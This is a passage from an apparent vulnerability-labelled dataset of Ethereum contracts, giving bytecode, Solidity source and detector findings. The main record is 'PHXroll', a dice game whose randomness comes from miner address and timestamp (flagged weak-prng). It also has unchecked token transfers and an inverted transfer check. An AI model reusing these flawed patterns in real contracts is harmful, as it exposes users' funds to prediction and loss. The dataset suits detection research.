6000803e3d6000fd5b505050506040513d6020811015611b0157600080fd5b810190808051906020019092919050505050611b1d3382612530565b7f787ff342b495627ef4bb309cac82202a5d41f8521d7e20511f5363d89266a0ce338285604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a192915050565b6000611ba1836128b5565b905081811015611c19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611c2333846126eb565b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611cbe57600080fd5b505af1158015611cd2573d6000803e3d6000fd5b505050506040513d6020811015611ce857600080fd5b8101908080519060200190929190505050507f85fb40c9589fe377347e3f2550de0e3479d51a82468fffb7e9eec5e3acd12f5f338483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a192915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b736b175474e89094c44da98b954eedeac495271d0f81565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611eb35750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611f25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611f30838383612132565b505050565b60035481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612a716024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612047576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129bb6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a4c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561223e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129766023913960400191505060405180910390fd5b6122a9816040518060600160405280602681526020016129dd602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612495576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561245a57808201518184015260208101905061243f565b50505050905090810190601f1680156124875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6125e8816002546124a890919063ffffffff16565b60028190555061263f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612771576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612a2b6021913960400191505060405180910390fd5b6127dc81604051806060016040528060228152602001612999602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e89092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612833816002546128c790919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006128ae82612911565b9050919050565b60006128c082612943565b9050919050565b600061290983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123e8565b905092915050565b60008061291d83610e71565b9050612934836004546124a890919063ffffffff16565b60048190555080915050919050565b60008061294f83611316565b9050612966816004546128c790919063ffffffff16565b6004819055508091505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158209163e6143a283f31b29b13c71e721f4968d3f910b6355892d9cb6f337c20b4af64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,106
0xdd1bd98403f24a6dff1c948cfdec509bfc244fc8
pragma solidity ^0.4.21; /* * ##### ## ##### ## ### ## ### ### * ###### /### ###### / #### / /#### #### / ### ### * /# / / ### /# / / ####/ / ### /####/ ## ## * / / / ### / / / # # ### / ## ## ## * / / ## / / # ### / ## ## * ## ## ## ## ## # ###/ ### /### /### ## ## * ## ## ## ## ## # ### ###/ #### / / ### / ## ## * /### ## / ## ######## /### ## ###/ / ###/ ## ## * / ### ## / ## ## # / ### ## ## ## ## ## * ## ######/ ## ## ## / ### ## ## ## ## ## * ## ###### # ## ## / ### ## ## ## ## ## * ## ## / ## / ### ## ## ## ## ## * ## ## /##/ ## / ### / ## ## ## ## ## * ## ## / ##### ## / ####/ ### ###### ### / ### / * ## ## ## / ## / ### ### #### ##/ ##/ * ### # / # * ### / ## * #####/ * ### * * ____ * /\' .\ _____ * /: \___\ / . /\ * \' / . / /____/..\ * \/___/ \' '\ / * \'__'\/ * * // Probably Unfair // * * //*** Developed By: * _____ _ _ _ ___ _ * |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___ * | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_) * |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___| * * © 2018 TechnicalRise. Written in March 2018. * All rights reserved. Do not copy, adapt, or otherwise use without permission. * https://www.reddit.com/user/TechnicalRise/ * */ contract PHXReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } contract PHXInterface { function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transfer(address _to, uint _value, bytes _data) public returns (bool); } contract usingDSSafeAddSub { function safeToAdd(uint a, uint b) internal pure returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) internal pure returns (uint) { require(safeToAdd(a, b)); return a + b; } function safeToSubtract(uint a, uint b) pure internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) pure internal returns (uint) { require(safeToSubtract(a, b)); return a - b; } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } contract PHXroll is PHXReceivingContract, usingDSSafeAddSub { /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { require(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize < maxProfit && _betSize > minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } /* * checks game is currently active */ modifier gameIsActive { require(gamePaused == false); _; } /* * checks payouts are currently active */ modifier payoutsAreActive { require(payoutsPaused == false); _; } /* * checks only owner address is calling */ modifier onlyOwner { require(msg.sender == owner); _; } /* * checks only treasury address is calling */ modifier onlyTreasury { require(msg.sender == treasury); _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; //init discontinued contract data int public totalBets = 0; //init discontinued contract data uint public totalTRsWon = 0; //init discontinued contract data uint public totalTRsWagered = 0; /* * player vars */ uint public rngId; mapping (uint => address) playerAddress; mapping (uint => uint) playerBetId; mapping (uint => uint) playerBetValue; mapping (uint => uint) playerDieResult; mapping (uint => uint) playerNumber; mapping (uint => uint) playerProfit; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(uint indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status); /* log manual refunds */ event LogRefund(uint indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); address public constant PHXTKNADDR = 0x14b759A158879B133710f4059d32565b4a66140C; PHXInterface public PHXTKN; /* * init */ function PHXroll() public { owner = msg.sender; treasury = msg.sender; // Initialize the PHX Contract PHXTKN = PHXInterface(PHXTKNADDR); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 PHX) */ ownerSetMinBet(100000000000000000); } // This is a supercheap psuedo-random number generator // that relies on the fact that "who" will mine and "when" they will // mine is random. This is usually vulnerable to "inside the block" // attacks where someone writes a contract mined in the same block // and calls this contract from it -- but we don't accept transactions // from other contracts, lessening that risk. It seems like someone // would therefore need to be able to predict the block miner and // block timestamp in advance to hack this. // // ¯\_(ツ)_/¯ // function _pRand(uint _modulo) internal view returns (uint) { require((1 < _modulo) && (_modulo <= 1000)); uint seed1 = uint(block.coinbase); // Get Miner's Address uint seed2 = now; // Get the timestamp return uint(keccak256(seed1, seed2)) % _modulo; } /* * public function * player submit bet * only if game is active & bet is valid */ function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens require(_humanSender(_tkn.sender)); // Check that this is a non-contract sender require(_phxToken(msg.sender)); // Check that this is a PHX Token Transfer // Increment rngId rngId++; /* map bet id to this wager */ playerBetId[rngId] = rngId; /* map player lucky number */ playerNumber[rngId] = _rollUnder; /* map value of wager */ playerBetValue[rngId] = _tkn.value; /* map player address */ playerAddress[rngId] = _tkn.sender; /* safely map player profit */ playerProfit[rngId] = 0; /* provides accurate numbers for web3 and allows for manual refunds */ emit LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); /* map Die result to player */ playerDieResult[rngId] = _pRand(100) + 1; /* total number of bets */ totalBets += 1; /* total wagered */ totalTRsWagered += playerBetValue[rngId]; /* * pay winner * update contract balance to calculate new max bet * send reward */ if(playerDieResult[rngId] < playerNumber[rngId]){ /* safely map player profit */ playerProfit[rngId] = ((((_tkn.value * (100-(safeSub(_rollUnder,1)))) / (safeSub(_rollUnder,1))+_tkn.value))*houseEdge/houseEdgeDivisor)-_tkn.value; /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerProfit[rngId]); /* update total Rises won */ totalTRsWon = safeAdd(totalTRsWon, playerProfit[rngId]); emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerProfit[rngId], 1); /* update maximum profit */ setMaxProfit(); // Transfer profit plus original bet PHXTKN.transfer(playerAddress[rngId], playerProfit[rngId] + _tkn.value); return; } else { /* * no win * send 1 Rise to a losing bet * update contract balance to calculate new max bet */ emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerBetValue[rngId], 0); /* * safe adjust contractBalance * setMaxProfit * send 1 Rise to losing bet */ contractBalance = safeAdd(contractBalance, (playerBetValue[rngId]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 Rise */ PHXTKN.transfer(playerAddress[rngId], 1); return; } } // !Important: Note the use of the following struct struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes _data) public { if(_from == treasury) { contractBalance = safeAdd(contractBalance, _value); /* safely update contract balance */ /* update the maximum profit */ setMaxProfit(); return; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _playerRollDice(parseInt(string(_data)), _tkn); } } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInTRs) public onlyOwner { contractBalance = newContractBalanceInTRs; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ require(newMaxProfitAsPercent <= 10000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer PHX */ function ownerTransferPHX(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); require(!PHXTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can selfdestruct - emergency */ function ownerkill() public onlyOwner { PHXTKN.transfer(owner, contractBalance); selfdestruct(owner); } function _phxToken(address _tokenContract) private pure returns (bool) { return _tokenContract == PHXTKNADDR; // Returns "true" of this is the PHX Token Contract } // Determine if the "_from" address is a contract function _humanSender(address _from) private view returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_from) } return (codeLength == 0); // If this is "true" sender is most likely a Wallet } }
0x6060604052600436106101665763ffffffff60e060020a6000350416631a6253ed811461016b57806323214fab1461018f578063268d50fe146101b45780632e729daf146101ca578063301cf6e7146101dd57806331375242146102045780633a4f6999146102235780634025b5a81461023657806343c1598d1461024c5780634a1a89f11461025f5780634b7fcee71461028e5780634f44728d146102a657806355b93031146102c55780635e968a49146102d857806361d027b3146102ee5780636cdf4c90146103015780636eacd48a146103175780637e245fac1461032f5780638b7afe2e146103425780638da5cb5b146103555780639619367d14610368578063b539cd551461037b578063befa1e2f1461038e578063c0ee0b8a146103a1578063c3de1ab914610406578063d263b7eb14610419578063d667dcd71461042c578063db7057fb1461043f578063e5c774de14610452578063ed8fe3c114610465575b600080fd5b341561017657600080fd5b61018d600160a060020a0360043516602435610478565b005b341561019a57600080fd5b6101a2610561565b60405190815260200160405180910390f35b34156101bf57600080fd5b61018d600435610567565b34156101d557600080fd5b6101a261058c565b34156101e857600080fd5b6101f0610592565b604051901515815260200160405180910390f35b341561020f57600080fd5b61018d600160a060020a03600435166105b4565b341561022e57600080fd5b6101a2610603565b341561024157600080fd5b61018d600435610608565b341561025757600080fd5b6101a261062d565b341561026a57600080fd5b610272610634565b604051600160a060020a03909116815260200160405180910390f35b341561029957600080fd5b61018d600435151561064c565b34156102b157600080fd5b61018d600160a060020a03600435166106ae565b34156102d057600080fd5b6101a2610703565b34156102e357600080fd5b61018d600435610708565b34156102f957600080fd5b610272610747565b341561030c57600080fd5b61018d600435610756565b341561032257600080fd5b61018d600435151561077b565b341561033a57600080fd5b6102726107ae565b341561034d57600080fd5b6101a26107bd565b341561036057600080fd5b6102726107c3565b341561037357600080fd5b6101a26107d7565b341561038657600080fd5b6101a26107dd565b341561039957600080fd5b6101a26107e3565b34156103ac57600080fd5b61018d60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107e995505050505050565b341561041157600080fd5b6101f061084e565b341561042457600080fd5b61018d610857565b341561043757600080fd5b6101a2610906565b341561044a57600080fd5b6101a261090c565b341561045d57600080fd5b6101a2610912565b341561047057600080fd5b6101a2610918565b60005433600160a060020a03908116610100909204161461049857600080fd5b6104a46002548261091e565b6002556104af61093b565b601154600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561050557600080fd5b5af1151561051257600080fd5b505050604051805115905061052657600080fd5b8082600160a060020a03167f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9160405160405180910390a35050565b60055481565b60005433600160a060020a03908116610100909204161461058757600080fd5b600355565b60095481565b6000547501000000000000000000000000000000000000000000900460ff1681565b60005433600160a060020a0390811661010090920416146105d457600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b606381565b60005433600160a060020a03908116610100909204161461062857600080fd5b600255565b620f424081565b7314b759a158879b133710f4059d32565b4a66140c81565b60005433600160a060020a03908116610100909204161461066c57600080fd5b6000805491151575010000000000000000000000000000000000000000000275ff00000000000000000000000000000000000000000019909216919091179055565b60005433600160a060020a0390811661010090920416146106ce57600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b60005433600160a060020a03908116610100909204161461072857600080fd5b61271081111561073757600080fd5b600581905561074461093b565b50565b600154600160a060020a031681565b60005433600160a060020a03908116610100909204161461077657600080fd5b600655565b60005433600160a060020a03908116610100909204161461079b57600080fd5b6000805460ff1916911515919091179055565b601154600160a060020a031681565b60025481565b6000546101009004600160a060020a031681565b60065481565b60045481565b60075481565b6107f1611119565b600154600160a060020a0385811691161415610823576108136002548461094d565b60025561081e61093b565b610848565b600160a060020a03841681526020810183905261084861084283610969565b8261097c565b50505050565b60005460ff1681565b60005433600160a060020a03908116610100909204161461087757600080fd5b601154600054600254600160a060020a039283169263a9059cbb926101009004169060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108dc57600080fd5b5af115156108e957600080fd5b505050604051805150506000546101009004600160a060020a0316ff5b60035481565b600a5481565b6103e881565b60085481565b600061092a8383610ed1565b151561093557600080fd5b50900390565b600554600254620f4240910204600455565b60006109598383610ed6565b151561096457600080fd5b500190565b6000610976826000610edd565b92915050565b60005460ff161561098c57600080fd5b806020015182600454826103e8600354856109a886600161091e565b6109b387600161091e565b60640388028115156109c157fe5b0401028115156109cd57fe5b04031080156109dd575060065482115b80156109e95750600281115b80156109f55750606381105b1515610a0057600080fd5b610a0a8351611093565b1515610a1557600080fd5b610a1e33611098565b1515610a2957600080fd5b600a8054600101908190556000818152600c6020908152604080832093909355600f8152919020859055830151600a546000908152600d60205260409020558251600a80546000908152600b60209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03969096169590951790945582548252601080825284832083905592548252600d8152838220549290529190912054610ad8919061094d565b600a546000908152600b6020908152604080832054600c8352818420546010845282852054600d855283862054600f9095529483902054600160a060020a039092169490937fbe797a32d0aa8e3b3744c30a3bc6d6f39fab9f6a9eefa97e440e80380f22701193919290915180848152602001838152602001828152602001935050505060405180910390a4610b6e60646110bd565b600a80546000908152600e60208181526040808420600196870190556007805490960190955592548252600d835283822054600980549091019055600f835283822054925291909120541015610d9f5782602001516103e86003548560200151610bd988600161091e565b610be489600161091e565b606403886020015102811515610bf657fe5b040102811515610c0257fe5b600a805460009081526010602052604080822094909304949094039092556002549154835290912054610c35919061091e565b600255600854600a54600090815260106020526040902054610c57919061094d565b600855600a546000908152600b6020908152604080832054600c835281842054600f845282852054600e85528386205460109095529483902054600160a060020a039092169490937f9233ab1ebf98694274193799816f87133329cdbebdf1a88d4b7f380ee034bfeb9391929091600190518085815260200184815260200183815260200182815260200194505050505060405180910390a3610cf861093b565b601154600a546000908152600b6020908152604090912054600160a060020a039283169263a9059cbb9291169086015160106000600a548152602001908152602001600020540160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d8257600080fd5b5af11515610d8f57600080fd5b5050506040518051905050610848565b600a546000908152600b6020908152604080832054600c835281842054600f845282852054600e855283862054600d90955283862054600160a060020a039093169591947f9233ab1ebf98694274193799816f87133329cdbebdf1a88d4b7f380ee034bfeb94919390929091518085815260200184815260200183815260200182815260200194505050505060405180910390a3600254600a546000908152600d6020526040902054610e5691906000190161094d565b600255610e6161093b565b601154600a546000908152600b60205260409081902054600160a060020a039283169263a9059cbb929116906001905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d8257600080fd5b111590565b8101101590565b6000610ee7611130565b5082600080805b8351811015611076577f3000000000000000000000000000000000000000000000000000000000000000848281518110610f2457fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015610fc557507f3900000000000000000000000000000000000000000000000000000000000000848281518110610f8e57fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561101b578115610fe457851515610fdc57611076565b600019909501945b600a830292506030848281518110610ff857fe5b016020015160f860020a900460f860020a0260f860020a9004038301925061106e565b83818151811061102757fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916602e60f860020a02141561106e57600191505b600101610eee565b60008611156110885785600a0a830292505b509095945050505050565b3b1590565b600160a060020a0381167314b759a158879b133710f4059d32565b4a66140c14919050565b60008060008360011080156110d457506103e88411155b15156110df57600080fd5b5050600160a060020a0341164283828260405191825260208201526040908101905190819003902081151561111057fe5b06949350505050565b604080519081016040526000808252602082015290565b602060405190810160405260008152905600a165627a7a72305820cb016c85fc943efbc189d7f185fac2bee173fae29a77679228f14c254a30f8870029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,107
0x5a30D36fEB7A422b4A92e1D72E2A779515BC078b
pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } contract IERC721Sale { function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract OperatorRole is Context { using Roles for Roles.Role; event OperatorAdded(address indexed account); event OperatorRemoved(address indexed account); Roles.Role private _operators; constructor () internal { } modifier onlyOperator() { require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role"); _; } function isOperator(address account) public view returns (bool) { return _operators.has(account); } function _addOperator(address account) internal { _operators.add(account); emit OperatorAdded(account); } function _removeOperator(address account) internal { _operators.remove(account); emit OperatorRemoved(account); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), 